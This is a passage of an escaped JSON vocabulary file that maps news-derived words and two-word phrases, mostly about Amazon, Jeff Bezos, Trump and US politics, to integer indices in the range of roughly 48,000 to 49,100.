\"herguth\": 48158,\n  \"terrell\": 48159,\n  \"indigenous children\": 48160,\n  \"high button\": 48161,\n  \"internal revolt\": 48162,\n  \"medicare\": 48163,\n  \"precious brain\": 48164,\n  \"turbines ocasio\": 48165,\n  \"jones hopes\": 48166,\n  \"floor washington\": 48167,\n  \"levels lightbot\": 48168,\n  \"avoid reporting\": 48169,\n  \"deficient idiot\": 48170,\n  \"structure logistics\": 48171,\n  \"matt murphy\": 48172,\n  \"2018 going\": 48173,\n  \"pretty fast\": 48174,\n  \"commonly used\": 48175,\n  \"vendors ms\": 48176,\n  \"responded directly\": 48177,\n  \"gop gubernatorial\": 48178,\n  \"considered safe\": 48179,\n  \"institutions agreed\": 48180,\n  \"falsely reported\": 48181,\n  \"ziedins concedes\": 48182,\n  \"lessons held\": 48183,\n  \"ami protection\": 48184,\n  \"waarom\": 48185,\n  \"reached 646\": 48186,\n  \"extraordinarily awful\": 48187,\n  \"tagay\": 48188,\n  \"deal rumors\": 48189,\n  \"astute\": 48190,\n  \"says economic\": 48191,\n  \"herdener called\": 48192,\n  \"underbid\": 48193,\n  \"customers ellison\": 48194,\n  \"sharper\": 48195,\n  \"package inc_filelocation\": 48196,\n  \"amazon manage\": 48197,\n  \"little expertise\": 48198,\n  \"residents hospitalized\": 48199,\n  \"koc\": 48200,\n  \"selectusa investment\": 48201,\n  \"new air\": 48202,\n  \"annual physical\": 48203,\n  \"political utility\": 48204,\n  \"amazon truly\": 48205,\n  \"murder saudi\": 48206,\n  \"trump warned\": 48207,\n  \"just starting\": 48208,\n  \"bolsonaro agenda\": 48209,\n  \"motorsports\": 48210,\n  \"natrol\": 48211,\n  \"disney divest\": 48212,\n  \"89th\": 48213,\n  \"probably read\": 48214,\n  \"oakland gardens\": 48215,\n  \"lehrer does\": 48216,\n  \"\\u01612017 pr\": 48217,\n  \"trump grau\": 48218,\n  \"ami image\": 48219,\n  \"lombardi\": 48220,\n  \"roth discuss\": 48221,\n  \"accident sen\": 48222,\n  \"recently called\": 48223,\n  \"riley london\": 48224,\n  \"customers wallets\": 48225,\n  \"used parts\": 48226,\n  \"yes maria\": 48227,\n  \"ecosystem partners\": 48228,\n  \"cowen estimated\": 48229,\n  \"space growth\": 48230,\n  \"favorite feature\": 48231,\n  \"male employees\": 48232,\n  \"effective little\": 48233,\n  \"parents secure\": 48234,\n  \"startup confluent\": 48235,\n  \"measure known\": 48236,\n  \"basic\": 48237,\n  \"just pair\": 48238,\n  \"house recently\": 48239,\n  \"legal liability\": 48240,\n  \"coney island\": 48241,\n  \"helped engineer\": 48242,\n  \"robots discovery\": 48243,\n  \"killed injured\": 48244,\n  \"tussauds\": 48245,\n  \"million predictions\": 48246,\n  \"mcmaster complained\": 48247,\n  \"tighter reins\": 48248,\n  \"space hotels\": 48249,\n  \"cloak\": 48250,\n  \"driving shopping\": 48251,\n  \"pouncing craig\": 48252,\n  \"deflating\": 48253,\n  \"wmal 9625\": 48254,\n  \"articulate intelligent\": 48255,\n  \"close loopholes\": 48256,\n  \"exploited workers\": 48257,\n  \"money usps\": 48258,\n  \"afront\": 48259,\n  \"agriculture secretary\": 48260,\n  \"shuttle\": 48261,\n  \"balce ceneta\": 48262,\n  \"kennedy successor\": 48263,\n  \"long search\": 48264,\n  \"algorithm decide\": 48265,\n  \"small potatoes\": 48266,\n  \"disputes pushing\": 48267,\n  \"played collection\": 48268,\n  \"newhouse jewish\": 48269,\n  \"paced world\": 48270,\n  \"200 feet\": 48271,\n  \"muxp2x0f7b\": 48272,\n  \"matt gaetz\": 48273,\n  \"r5q function\": 48274,\n  \"brega presidency\": 48275,\n  \"tax schemes\": 48276,\n  \"economic boom\": 48277,\n  \"worry click\": 48278,\n  \"aclu revealing\": 48279,\n  \"marketplace undercut\": 48280,\n  \"adopted hard\": 48281,\n  \"offers strand\": 48282,\n  \"sources subsequently\": 48283,\n  \"iq challenge\": 48284,\n  \"million metric\": 48285,\n  \"super earth\": 48286,\n  \"threaten ami\": 48287,\n  \"trump intellectual\": 48288,\n  \"giants bochy\": 48289,\n  \"boboswald33\": 48290,\n  \"commerce player\": 48291,\n  \"pricing northern\": 48292,\n  \"achieve stock\": 48293,\n  \"sponsor new\": 48294,\n  \"bezos travelling\": 48295,\n  \"trump jair\": 48296,\n  \"year gary\": 48297,\n  \"world suddenly\": 48298,\n  \"sanchez photos\": 48299,\n  \"communications strategist\": 48300,\n  \"period ending\": 48301,\n  \"message stamp\": 48302,\n  \"graham told\": 48303,\n  \"accounts search\": 48304,\n  \"vera bradley\": 48305,\n  \"oppress\": 48306,\n  \"twitter salvos\": 48307,\n  \"molinari charles\": 48308,\n  \"mogul took\": 48309,\n  \"tightening labour\": 48310,\n  \"unionization efforts\": 48311,\n  \"prom photo\": 48312,\n  \"years people\": 48313,\n  \"blasey\": 48314,\n  \"drops country\": 48315,\n  \"ramming\": 48316,\n  \"canadian press\": 48317,\n  \"mccarthy created\": 48318,\n  \"nrcc executive\": 48319,\n  \"bezos stone\": 48320,\n  \"lowest level\": 48321,\n  \"leila\": 48322,\n  \"whirlpool\": 48323,\n  \"store write\": 48324,\n  \"compares trumps\": 48325,\n  \"fourth places\": 48326,\n  \"mayor steve\": 48327,\n  \"know specifically\": 48328,\n  \"democratic trump\": 48329,\n  \"skeptics geoff\": 48330,\n  \"committee releases\": 48331,\n  \"o1a 1117161568\": 48332,\n  \"drones connect\": 48333,\n  \"individualist\": 48334,\n  \"000 000\": 48335,\n  \"donation sites\": 48336,\n  \"best moves\": 48337,\n  \"new revelations\": 48338,\n  \"apprenticeship programs\": 48339,\n  \"ill effects\": 48340,\n  \"begins despite\": 48341,\n  \"joseph corbett\": 48342,\n  \"seth mandel\": 48343,\n  \"overwhelming market\": 48344,\n  \"local corporate\": 48345,\n  \"people earlier\": 48346,\n  \"civilization scale\": 48347,\n  \"tech politician\": 48348,\n  \"media intelligence\": 48349,\n  \"dozen tech\": 48350,\n  \"null comparisongrids\": 48351,\n  \"matthew shepard\": 48352,\n  \"control counterfeiting\": 48353,\n  \"party versus\": 48354,\n  \"softer economic\": 48355,\n  \"james bullard\": 48356,\n  \"customers installed\": 48357,\n  \"murkier\": 48358,\n  \"sm\": 48359,\n  \"lead recycling\": 48360,\n  \"tropical\": 48361,\n  \"strategic review\": 48362,\n  \"democratic commissioners\": 48363,\n  \"fees sales\": 48364,\n  \"wsj post\": 48365,\n  \"poses camera\": 48366,\n  \"sure reuters\": 48367,\n  \"wapo alum\": 48368,\n  \"trump candidate\": 48369,\n  \"immunity depends\": 48370,\n  \"politifact count\": 48371,\n  \"chris froome\": 48372,\n  \"prices paid\": 48373,\n  \"paul krugman\": 48374,\n  \"trump socialist\": 48375,\n  \"amazon critic\": 48376,\n  \"rfenner\": 48377,\n  \"plan fight\": 48378,\n  \"gress\": 48379,\n  \"way street\": 48380,\n  \"charged taxpayers\": 48381,\n  \"england reduced\": 48382,\n  \"giant advantages\": 48383,\n  \"marital property\": 48384,\n  \"jennifer mcguire\": 48385,\n  \"candidate stormy\": 48386,\n  \"technology investors\": 48387,\n  \"taiwan president\": 48388,\n  \"datax singapore\": 48389,\n  \"social graph\": 48390,\n  \"bezos sharply\": 48391,\n  \"portfolio upped\": 48392,\n  \"aslam chief\": 48393,\n  \"thatwas\": 48394,\n  \"infrastructure plans\": 48395,\n  \"surrounding areas\": 48396,\n  \"automatic ordering\": 48397,\n  \"arabia ordered\": 48398,\n  \"president despises\": 48399,\n  \"workers receive\": 48400,\n  \"religious schools\": 48401,\n  \"just boring\": 48402,\n  \"sex isn\": 48403,\n  \"choose favorites\": 48404,\n  \"barely moved\": 48405,\n  \"today political\": 48406,\n  \"vc adeft\": 48407,\n  \"struggling newspaper\": 48408,\n  \"ossenbeck\": 48409,\n  \"democracy dies\": 48410,\n  \"fixed costs\": 48411,\n  \"reuters citing\": 48412,\n  \"primary care\": 48413,\n  \"customers trending\": 48414,\n  \"arizona congressman\": 48415,\n  \"monthly revenue\": 48416,\n  \"morning twitter\": 48417,\n  \"hari\": 48418,\n  \"run advertisements\": 48419,\n  \"funny thing\": 48420,\n  \"bezos sexual\": 48421,\n  \"girl baking\": 48422,\n  \"trump uncomfortable\": 48423,\n  \"political clubs\": 48424,\n  \"pay offs\": 48425,\n  \"dollars forbes\": 48426,\n  \"build solutions\": 48427,\n  \"watson column\": 48428,\n  \"jobs senate\": 48429,\n  \"cnn frank\": 48430,\n  \"financial benefit\": 48431,\n  \"807\": 48432,\n  \"house inspired\": 48433,\n  \"teases new\": 48434,\n  \"tagsamazon jeff\": 48435,\n  \"dating image\": 48436,\n  \"buzzfeed response\": 48437,\n  \"pioneering cbs\": 48438,\n  \"broadsheets\": 48439,\n  \"losing agency\": 48440,\n  \"marriage hopefully\": 48441,\n  \"shendure professor\": 48442,\n  \"cary fukunaga\": 48443,\n  \"doubt khosrowshahi\": 48444,\n  \"political vendetta\": 48445,\n  \"spreading fast\": 48446,\n  \"department projects\": 48447,\n  \"tongue twister\": 48448,\n  \"considered holistic\": 48449,\n  \"tentacles reach\": 48450,\n  \"bustle\": 48451,\n  \"vince bryan\": 48452,\n  \"gmbunion4amazon\": 48453,\n  \"250million\": 48454,\n  \"really big\": 48455,\n  \"flanhofer\": 48456,\n  \"shining renewed\": 48457,\n  \"institutions\": 48458,\n  \"deplorable trump\": 48459,\n  \"trump wins\": 48460,\n  \"children leave\": 48461,\n  \"fury\": 48462,\n  \"kabir alias\": 48463,\n  \"demanded americans\": 48464,\n  \"right zilch\": 48465,\n  \"increasingly relies\": 48466,\n  \"including faces\": 48467,\n  \"screwdrivers\": 48468,\n  \"pluggable bluetooth\": 48469,\n  \"reads normally\": 48470,\n  \"trump acted\": 48471,\n  \"news staffs\": 48472,\n  \"width 307\": 48473,\n  \"digger\": 48474,\n  \"john dickerson\": 48475,\n  \"checked baggage\": 48476,\n  \"robert coalson\": 48477,\n  \"divested\": 48478,\n  \"ahead starting\": 48479,\n  \"jim hightower\": 48480,\n  \"2008 financial\": 48481,\n  \"bankrate\": 48482,\n  \"continued outsiders\": 48483,\n  \"clients late\": 48484,\n  \"service requires\": 48485,\n  \"corporate dna\": 48486,\n  \"takers\": 48487,\n  \"reported 404\": 48488,\n  \"cargo industry\": 48489,\n  \"office pricing\": 48490,\n  \"repeatedly suggested\": 48491,\n  \"barring farmworkers\": 48492,\n  \"crafts\": 48493,\n  \"youir fault\": 48494,\n  \"freuman\": 48495,\n  \"ustr says\": 48496,\n  \"regarded amazon\": 48497,\n  \"ethnic\": 48498,\n  \"650 height\": 48499,\n  \"jobs asshole\": 48500,\n  \"today fcc\": 48501,\n  \"trifles\": 48502,\n  \"years owners\": 48503,\n  \"female employees\": 48504,\n  \"just led\": 48505,\n  \"paid tech\": 48506,\n  \"pinpoint\": 48507,\n  \"buyer controls\": 48508,\n  \"arizona senate\": 48509,\n  \"boeing\": 48510,\n  \"shopping experience\": 48511,\n  \"contact liz\": 48512,\n  \"centralized management\": 48513,\n  \"lehman brothers\": 48514,\n  \"worth \\u014241billion\": 48515,\n  \"stronger protection\": 48516,\n  \"gibbs\": 48517,\n  \"exports bolsonaro\": 48518,\n  \"trump seeking\": 48519,\n  \"condliffe\": 48520,\n  \"create dedicated\": 48521,\n  \"platform links\": 48522,\n  \"foment\": 48523,\n  \"old crooked\": 48524,\n  \"naloxone overdose\": 48525,\n  \"husband president\": 48526,\n  \"zijn source\": 48527,\n  \"secret prosecutors\": 48528,\n  \"world technology\": 48529,\n  \"stagnating wages\": 48530,\n  \"rich getting\": 48531,\n  \"state offices\": 48532,\n  \"cnl_nam wire\": 48533,\n  \"board joining\": 48534,\n  \"numbers amazon\": 48535,\n  \"months partial\": 48536,\n  \"answer ultimately\": 48537,\n  \"company hudson\": 48538,\n  \"13270229011 nearly\": 48539,\n  \"admiration tweeted\": 48540,\n  \"mail anymore\": 48541,\n  \"nooyi offered\": 48542,\n  \"nears decision\": 48543,\n  \"photogenic activists\": 48544,\n  \"gianaris announced\": 48545,\n  \"frenzied competition\": 48546,\n  \"000 owners\": 48547,\n  \"massive anti\": 48548,\n  \"nearest clinic\": 48549,\n  \"does sell\": 48550,\n  \"1701et copyright\": 48551,\n  \"severed ties\": 48552,\n  \"broadly popular\": 48553,\n  \"son life\": 48554,\n  \"tangential feud\": 48555,\n  \"ubhi later\": 48556,\n  \"amazon rekognition\": 48557,\n  \"paywall earlier\": 48558,\n  \"wenig geekwire\": 48559,\n  \"infiltrators\": 48560,\n  \"temperature drops\": 48561,\n  \"mailer demands\": 48562,\n  \"enjoyed tony\": 48563,\n  \"numbers year\": 48564,\n  \"larger scrutiny\": 48565,\n  \"previous owner\": 48566,\n  \"earnings upbeat\": 48567,\n  \"amazon rules\": 48568,\n  \"spring summer\": 48569,\n  \"reporting surrounding\": 48570,\n  \"parcel pricing\": 48571,\n  \"congress hasn\": 48572,\n  \"immigrants attempting\": 48573,\n  \"officials responded\": 48574,\n  \"phrase rope\": 48575,\n  \"tencent\": 48576,\n  \"window recallproximic\": 48577,\n  \"considering challenging\": 48578,\n  \"religious tradition\": 48579,\n  \"low minimum\": 48580,\n  \"tammy craft\": 48581,\n  \"inclucaciones\": 48582,\n  \"1997 advertisement\": 48583,\n  \"products similar\": 48584,\n  \"retailer jeff\": 48585,\n  \"walker state\": 48586,\n  \"negotiation isn\": 48587,\n  \"collect store\": 48588,\n  \"reference suggesting\": 48589,\n  \"buy marijuana\": 48590,\n  \"getty_623710176_388104\": 48591,\n  \"immediacy\": 48592,\n  \"review award\": 48593,\n  \"share photos\": 48594,\n  \"taking stake\": 48595,\n  \"amazon abruptly\": 48596,\n  \"manhattan football\": 48597,\n  \"news chicago\": 48598,\n  \"2014\": 48599,\n  \"dave_brown24\": 48600,\n  \"generous salaries\": 48601,\n  \"statement basically\": 48602,\n  \"uber needs\": 48603,\n  \"isn social\": 48604,\n  \"appalled\": 48605,\n  \"ear headphones\": 48606,\n  \"european automobiles\": 48607,\n  \"cnl_global_nav_background_gradient_endient null\": 48608,\n  \"amazon routinely\": 48609,\n  \"number according\": 48610,\n  \"reshaping health\": 48611,\n  \"umpire\": 48612,\n  \"senator criticism\": 48613,\n  \"winner second\": 48614,\n  \"trump friends\": 48615,\n  \"public monies\": 48616,\n  \"provide life\": 48617,\n  \"2nd\": 48618,\n  \"ordinary workers\": 48619,\n  \"improve health\": 48620,\n  \"posted public\": 48621,\n  \"governors signaled\": 48622,\n  \"reporting today\": 48623,\n  \"ivy segal\": 48624,\n  \"right media\": 48625,\n  \"world learned\": 48626,\n  \"bypass\": 48627,\n  \"truckers\": 48628,\n  \"won clean\": 48629,\n  \"amazon pen\": 48630,\n  \"trumpets books\": 48631,\n  \"newspaper columnist\": 48632,\n  \"connecting supply\": 48633,\n  \"democrats want\": 48634,\n  \"soon earlier\": 48635,\n  \"session moya\": 48636,\n  \"commercial\": 48637,\n  \"takes children\": 48638,\n  \"assessed\": 48639,\n  \"foley bloomberg\": 48640,\n  \"life better\": 48641,\n  \"rate discount\": 48642,\n  \"great success\": 48643,\n  \"cut rates\": 48644,\n  \"provide investigative\": 48645,\n  \"shortage sent\": 48646,\n  \"leftist political\": 48647,\n  \"state medicaid\": 48648,\n  \"recent barb\": 48649,\n  \"reporter editor\": 48650,\n  \"dhruv sehgal\": 48651,\n  \"pulpit rhetoric\": 48652,\n  \"vanessa scott\": 48653,\n  \"amazon ships\": 48654,\n  \"jose sanchez\": 48655,\n  \"maj gen\": 48656,\n  \"rsn\": 48657,\n  \"updated 737\": 48658,\n  \"seat google\": 48659,\n  \"competitive pricing\": 48660,\n  \"make meaningful\": 48661,\n  \"head spin\": 48662,\n  \"amzn provise\": 48663,\n  \"comey james\": 48664,\n  \"insufficient evidence\": 48665,\n  \"corporate corporate\": 48666,\n  \"blamed progressive\": 48667,\n  \"2018 financial\": 48668,\n  \"tech recap\": 48669,\n  \"lawmaker backs\": 48670,\n  \"precedence\": 48671,\n  \"income growth\": 48672,\n  \"report decrease\": 48673,\n  \"digit percentages\": 48674,\n  \"books saladish\": 48675,\n  \"increasing economic\": 48676,\n  \"investigation doj\": 48677,\n  \"apple macbook\": 48678,\n  \"origin llc\": 48679,\n  \"employee farrow\": 48680,\n  \"wishes amazon\": 48681,\n  \"project victims\": 48682,\n  \"extremism\": 48683,\n  \"hosted rally\": 48684,\n  \"issued earlier\": 48685,\n  \"oo3klbw362 trooper\": 48686,\n  \"rural north\": 48687,\n  \"blood lust\": 48688,\n  \"forte told\": 48689,\n  \"real stores\": 48690,\n  \"rep stephanie\": 48691,\n  \"main policy\": 48692,\n  \"veto proof\": 48693,\n  \"rapid transition\": 48694,\n  \"foods sending\": 48695,\n  \"apparently plans\": 48696,\n  \"coulter\": 48697,\n  \"law concerned\": 48698,\n  \"robert mondavi\": 48699,\n  \"garfield reported\": 48700,\n  \"khan wrote\": 48701,\n  \"cardiologists\": 48702,\n  \"hair dye\": 48703,\n  \"retire early\": 48704,\n  \"challenge license\": 48705,\n  \"months bezos\": 48706,\n  \"income children\": 48707,\n  \"dollar assets\": 48708,\n  \"leaders supporting\": 48709,\n  \"brand equity\": 48710,\n  \"substance involved\": 48711,\n  \"technician policy\": 48712,\n  \"ceos political\": 48713,\n  \"week growing\": 48714,\n  \"states offices\": 48715,\n  \"income investments\": 48716,\n  \"negotiators\": 48717,\n  \"truthout doesn\": 48718,\n  \"amazon fox\": 48719,\n  \"h1\": 48720,\n  \"infiltrate motherboards\": 48721,\n  \"environmental stakes\": 48722,\n  \"minded literary\": 48723,\n  \"app neighbors\": 48724,\n  \"bolstering national\": 48725,\n  \"rogers photography\": 48726,\n  \"google data\": 48727,\n  \"months caption\": 48728,\n  \"report cites\": 48729,\n  \"emocrats\": 48730,\n  \"brand shares\": 48731,\n  \"elevator air\": 48732,\n  \"hacking corporate\": 48733,\n  \"supervisor\": 48734,\n  \"taxes hardly\": 48735,\n  \"boeing crash\": 48736,\n  \"policy official\": 48737,\n  \"compatible phone\": 48738,\n  \"reporting harassment\": 48739,\n  \"deal puts\": 48740,\n  \"medical center\": 48741,\n  \"returned jinsaotome4\": 48742,\n  \"stock relentless\": 48743,\n  \"amazon transports\": 48744,\n  \"trump editorial\": 48745,\n  \"literally calls\": 48746,\n  \"reached\": 48747,\n  \"politico killing\": 48748,\n  \"voices public\": 48749,\n  \"gone months\": 48750,\n  \"twitter lead\": 48751,\n  \"evicted\": 48752,\n  \"need tariffs\": 48753,\n  \"visitor\": 48754,\n  \"activity bullish\": 48755,\n  \"brief moment\": 48756,\n  \"wireless communications\": 48757,\n  \"good reminder\": 48758,\n  \"women reproductive\": 48759,\n  \"pursuits ethnic\": 48760,\n  \"reports linked\": 48761,\n  \"news market\": 48762,\n  \"care stocks\": 48763,\n  \"prime list\": 48764,\n  \"joe rose\": 48765,\n  \"frankenstein limousines\": 48766,\n  \"inflation projects\": 48767,\n  \"maduro loyalists\": 48768,\n  \"contractsanalysts reckon\": 48769,\n  \"issued letter\": 48770,\n  \"chief\": 48771,\n  \"structured\": 48772,\n  \"goff started\": 48773,\n  \"outlets trump\": 48774,\n  \"twitter bradlander\": 48775,\n  \"statement gabriela\": 48776,\n  \"riches\": 48777,\n  \"supplies\": 48778,\n  \"sales official\": 48779,\n  \"walgreens fell\": 48780,\n  \"extensive travel\": 48781,\n  \"incentive refer\": 48782,\n  \"dividend payouts\": 48783,\n  \"messy person\": 48784,\n  \"remained modest\": 48785,\n  \"kingdoms nathan\": 48786,\n  \"conservations\": 48787,\n  \"kohl kss\": 48788,\n  \"dollar tech\": 48789,\n  \"read frozen\": 48790,\n  \"seeking alpha\": 48791,\n  \"310 987\": 48792,\n  \"halpert\": 48793,\n  \"post decided\": 48794,\n  \"hq2 relocation\": 48795,\n  \"cost bleeding\": 48796,\n  \"general believes\": 48797,\n  \"unhealthy deal\": 48798,\n  \"sex parents\": 48799,\n  \"extolling\": 48800,\n  \"billion las\": 48801,\n  \"dripped\": 48802,\n  \"quicken\": 48803,\n  \"fair 2025\": 48804,\n  \"wishes jeff\": 48805,\n  \"lady melania\": 48806,\n  \"hyper competitive\": 48807,\n  \"legislation session\": 48808,\n  \"epoch\": 48809,\n  \"chooses bezos\": 48810,\n  \"eighth grade\": 48811,\n  \"secular sales\": 48812,\n  \"n979746\": 48813,\n  \"levels morgan\": 48814,\n  \"babb\": 48815,\n  \"stelter recommended\": 48816,\n  \"slave island\": 48817,\n  \"potentially privatize\": 48818,\n  \"ln mro\": 48819,\n  \"ofari\": 48820,\n  \"webcast discussion\": 48821,\n  \"turnberry\": 48822,\n  \"logging device\": 48823,\n  \"affiliations\": 48824,\n  \"specifically modern\": 48825,\n  \"descriptions added\": 48826,\n  \"post aws\": 48827,\n  \"guidelines california\": 48828,\n  \"holiday break\": 48829,\n  \"interference strange\": 48830,\n  \"sinister going\": 48831,\n  \"beale\": 48832,\n  \"pouring rain\": 48833,\n  \"spicer despite\": 48834,\n  \"external acquisitions\": 48835,\n  \"attacks afghanistan\": 48836,\n  \"thrilled\": 48837,\n  \"utm_campaign socialflow\": 48838,\n  \"italy workers\": 48839,\n  \"moment thankfully\": 48840,\n  \"illness called\": 48841,\n  \"bit complacent\": 48842,\n  \"massive corporation\": 48843,\n  \"russia dossier\": 48844,\n  \"foods employee\": 48845,\n  \"return v0\": 48846,\n  \"hawaiians\": 48847,\n  \"google pinterest\": 48848,\n  \"costner\": 48849,\n  \"fake fake\": 48850,\n  \"golding\": 48851,\n  \"malawi kenya\": 48852,\n  \"virginia neighborhood\": 48853,\n  \"specialized training\": 48854,\n  \"election showed\": 48855,\n  \"dan pashman\": 48856,\n  \"war ii\": 48857,\n  \"attackers\": 48858,\n  \"google questionable\": 48859,\n  \"different groups\": 48860,\n  \"hq6\": 48861,\n  \"false mediametadatacallbacks\": 48862,\n  \"star review\": 48863,\n  \"pros workplaces\": 48864,\n  \"moderation strategies\": 48865,\n  \"identity maybe\": 48866,\n  \"anticipate bezos\": 48867,\n  \"security report\": 48868,\n  \"crackdown 1535755023\": 48869,\n  \"faced scathing\": 48870,\n  \"asia puts\": 48871,\n  \"jackie jackie\": 48872,\n  \"systematically undercutting\": 48873,\n  \"administration tariffs\": 48874,\n  \"trump favored\": 48875,\n  \"bitcoin mainstream\": 48876,\n  \"donut fries\": 48877,\n  \"boulevard boss\": 48878,\n  \"asked china\": 48879,\n  \"actually begin\": 48880,\n  \"game day\": 48881,\n  \"sales leaped\": 48882,\n  \"priority\": 48883,\n  \"particular title\": 48884,\n  \"gaza cr\": 48885,\n  \"sophisticated insight\": 48886,\n  \"bank merger\": 48887,\n  \"value creation\": 48888,\n  \"housekeeping nutrition\": 48889,\n  \"avoid repercussions\": 48890,\n  \"ordering period\": 48891,\n  \"real motivations\": 48892,\n  \"encourages democrats\": 48893,\n  \"powering data\": 48894,\n  \"wbenjaminson\": 48895,\n  \"machinery\": 48896,\n  \"conservative forces\": 48897,\n  \"natural resources\": 48898,\n  \"politico notes\": 48899,\n  \"caroline moss\": 48900,\n  \"immediate family\": 48901,\n  \"vanity fair\": 48902,\n  \"black boxer\": 48903,\n  \"evening ramell\": 48904,\n  \"cowboy ventures\": 48905,\n  \"clearance\": 48906,\n  \"national debt\": 48907,\n  \"whip steve\": 48908,\n  \"disruptive\": 48909,\n  \"apparently agreed\": 48910,\n  \"lawyer gavin\": 48911,\n  \"major road\": 48912,\n  \"serving life\": 48913,\n  \"people benefit\": 48914,\n  \"acosta white\": 48915,\n  \"transparent process\": 48916,\n  \"selections bezos\": 48917,\n  \"phillips host\": 48918,\n  \"dictatorial\": 48919,\n  \"potential recommendations\": 48920,\n  \"florida democratic\": 48921,\n  \"ruthless company\": 48922,\n  \"large collection\": 48923,\n  \"clodagh\": 48924,\n  \"offering trump\": 48925,\n  \"incentives trump\": 48926,\n  \"tesla gigafactory\": 48927,\n  \"130 countries\": 48928,\n  \"politico janaki\": 48929,\n  \"impressive sales\": 48930,\n  \"qatar working\": 48931,\n  \"question segue\": 48932,\n  \"098\": 48933,\n  \"significant aggressive\": 48934,\n  \"elicited public\": 48935,\n  \"anticompetitive cryptocurrency\": 48936,\n  \"overnight action\": 48937,\n  \"health cvs\": 48938,\n  \"media allies\": 48939,\n  \"reportedly obsesses\": 48940,\n  \"hackett producer\": 48941,\n  \"worth mentioning\": 48942,\n  \"shimron hetmyer\": 48943,\n  \"backfired\": 48944,\n  \"talked facebook\": 48945,\n  \"pretty confident\": 48946,\n  \"kingdom stars\": 48947,\n  \"operationsnear washington\": 48948,\n  \"new research\": 48949,\n  \"amazon vp\": 48950,\n  \"shooting dogs\": 48951,\n  \"unfurled anti\": 48952,\n  \"hide comments\": 48953,\n  \"normal box\": 48954,\n  \"related trump\": 48955,\n  \"abyss\": 48956,\n  \"christmas jimmy\": 48957,\n  \"eric engleman\": 48958,\n  \"trump initiated\": 48959,\n  \"abedin weiner\": 48960,\n  \"service layfield\": 48961,\n  \"entrepreneur wrote\": 48962,\n  \"firms including\": 48963,\n  \"2018 headcount\": 48964,\n  \"uco\": 48965,\n  \"powerful consuming\": 48966,\n  \"knight werner\": 48967,\n  \"aggregated receipts\": 48968,\n  \"humanitarian\": 48969,\n  \"sea air\": 48970,\n  \"wrong trump\": 48971,\n  \"146 473\": 48972,\n  \"bad considering\": 48973,\n  \"anne rung\": 48974,\n  \"multiple cabinet\": 48975,\n  \"completely right\": 48976,\n  \"new look\": 48977,\n  \"county read\": 48978,\n  \"700\": 48979,\n  \"killing competition\": 48980,\n  \"latest endeavors\": 48981,\n  \"soy purchases\": 48982,\n  \"reggie\": 48983,\n  \"city begin\": 48984,\n  \"orders postal\": 48985,\n  \"worthless\": 48986,\n  \"enquirer links\": 48987,\n  \"worker concerns\": 48988,\n  \"bourn sic\": 48989,\n  \"jonathan delagrave\": 48990,\n  \"post referencing\": 48991,\n  \"hasn pressed\": 48992,\n  \"bleakley\": 48993,\n  \"mischief with\\u0430proceeds\": 48994,\n  \"soba\": 48995,\n  \"medium size\": 48996,\n  \"brazilian leader\": 48997,\n  \"falling apart\": 48998,\n  \"private facebook\": 48999,\n  \"walkouts\": 49000,\n  \"hillary clintonfrom\": 49001,\n  \"annual salaries\": 49002,\n  \"fareed zakaria\": 49003,\n  \"dimmed\": 49004,\n  \"forest clearing\": 49005,\n  \"gross abuse\": 49006,\n  \"2fwww\": 49007,\n  \"user asked\": 49008,\n  \"featured chad\": 49009,\n  \"begin receiving\": 49010,\n  \"synthetic biology\": 49011,\n  \"ignites\": 49012,\n  \"big chip\": 49013,\n  \"totally deserving\": 49014,\n  \"academy including\": 49015,\n  \"ktumulty\": 49016,\n  \"c0 sa\": 49017,\n  \"members subscription\": 49018,\n  \"maclear meditative\": 49019,\n  \"promise npr\": 49020,\n  \"houston reads\": 49021,\n  \"kmart\": 49022,\n  \"matt whitaker\": 49023,\n  \"mckesson corp\": 49024,\n  \"eligible\": 49025,\n  \"growing portion\": 49026,\n  \"rapidly advancing\": 49027,\n  \"wispy\": 49028,\n  \"way tie\": 49029,\n  \"girl hits\": 49030,\n  \"justice departmentofficials\": 49031,\n  \"hockey boots\": 49032,\n  \"including cancer\": 49033,\n  \"investors continued\": 49034,\n  \"mass pollution\": 49035,\n  \"7bn\": 49036,\n  \"2018 princesses\": 49037,\n  \"decisions bezos\": 49038,\n  \"combining insurance\": 49039,\n  \"nudes\": 49040,\n  \"gleaming\": 49041,\n  \"boring quarter\": 49042,\n  \"fulfillment purposes\": 49043,\n  \"foods posted\": 49044,\n  \"halt construction\": 49045,\n  \"launch delivery\": 49046,\n  \"trump lost\": 49047,\n  \"vicki\": 49048,\n  \"fund tangible\": 49049,\n  \"mommy gram\": 49050,\n  \"itunes youtube\": 49051,\n  \"independently reported\": 49052,\n  \"writer traister\": 49053,\n  \"victorious\": 49054,\n  \"managers glen\": 49055,\n  \"marques says\": 49056,\n  \"directly charged\": 49057,\n  \"joining ohmnilabs\": 49058,\n  \"forensic logic\": 49059,\n  \"margin profile\": 49060,\n  \"recently taken\": 49061,\n  \"lobbying power\": 49062,\n  \"gobbling\": 49063,\n  \"internal revenue\": 49064,\n  \"unelected\": 49065,\n  \"bezos past\": 49066,\n  \"dma according\": 49067,\n  \"pun\": 49068,\n  \"potential point\": 49069,\n  \"bailout trump\": 49070,\n  \"extreme bias\": 49071,\n  \"challenges travel\": 49072,\n  \"novelist\": 49073,\n  \"sharing ___\": 49074,\n  \"cnn michael\": 49075,\n  \"world kernen\": 49076,\n  \"willens\": 49077,\n  \"sims includes\": 49078,\n  \"deal feel\": 49079,\n  \"morning lawsuit\": 49080,\n  \"2019 sanders\": 49081,\n  \"ellison abuse\": 49082,\n  \"stock dropped\": 49083,\n  \"fraud nbc\": 49084,\n  \"win wins\": 49085,\n  \"sputnik 19th\": 49086,\n  \"speculate\": 49087,\n  \"byers amazon\": 49088,\n  \"condemn media\": 49089,\n  \"washington gawande\": 49090,\n  \"poured money\": 49091,\n  \"res\": 49092,\n  \"magazine chooses\": 49093,\n  \"aid package\": 49094,\n  \"ny1politics pic\": 49095,\n  \"institutional costs\": 49096,\n  \"300x520 uploaded_files\": 49097,\n  \"fuel emissions\": 49098,\n  \"wonder\": 49099,\n  \"best interpret\": 49100,\n  \"president mikhail\": 49101,\n  \"running major\": 49102,\n  \"regularly watches\": 49103,\n  \"04m reports\": 49104,\n  \"anti ecology\": 49105,\n  \"stupendously\": 49106,\n  \"deranged msnbc\": 49107,\n  \"kong embarks\": 49108,\n  \"make pitches\": 49109,\n  \"suit instead\": 49110,\n  \"news shirts\": 49111,\n  \"embrace multicarrier\": 49112,\n  \"return w0\": 49113,\n  \"135 year\": 49114,\n  \"growing loss\": 49115,\n  \"rafael videla\": 49116,\n  \"reportorial knife\": 49117,\n  \"promises public\": 